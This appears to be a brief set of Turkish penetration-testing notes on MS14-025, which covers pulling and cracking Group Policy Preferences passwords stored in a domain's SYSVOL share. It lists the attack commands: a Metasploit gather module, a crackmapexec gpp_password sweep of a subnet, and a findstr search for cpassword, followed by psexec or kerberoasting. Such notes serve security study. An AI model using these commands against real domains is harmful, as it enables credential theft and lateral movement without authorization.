MS14-025 (GPP Abusing)

GPP'ler domain controller'da SYSVOL dosyası altında tutulur. Yetkili veya yetkisiz tüm kullanıcılar bu dosyaya erişebilir. Hatalı yapılandırılmış şifreleme politikasından dolayı bu şifreleri kırmak çok kolay olacaktır.

Konumu:

\\<DOMAIN\SYSVOL\<DOMAIN>\Policies\

metasploit modülü kullanarak sysvoldaki gizli parola çıkartılabilir. Metasploit bu parolayı bizler için decrypt te eder.

Manuel olarak smb sunucusuna bağlanıp sysvolden bunu çekmekte mümkün. Manuel olarak çekersek bunu aşağıda ki toolu kullanarak kırmalıyız.

Artık bir kullanıcı elde ettik. psexec vs ile bağlanabiliriz, eğer bağlanamazsak kerberosting saldırısı denenebilir.

2. YOL:

use post/windows/gather/credentials/gpp

set session 1

exploit

Crackmapten kontrolü.

crackmapexec smb 10.10.20.0/24 -u kullanici -p parola -M gpp_password

SYSVOL içerisinde Encrypt edilmiş cpasswordün tespit edilmesi

findstr /S /I cpassword \\\sysvol\\policies\*.xml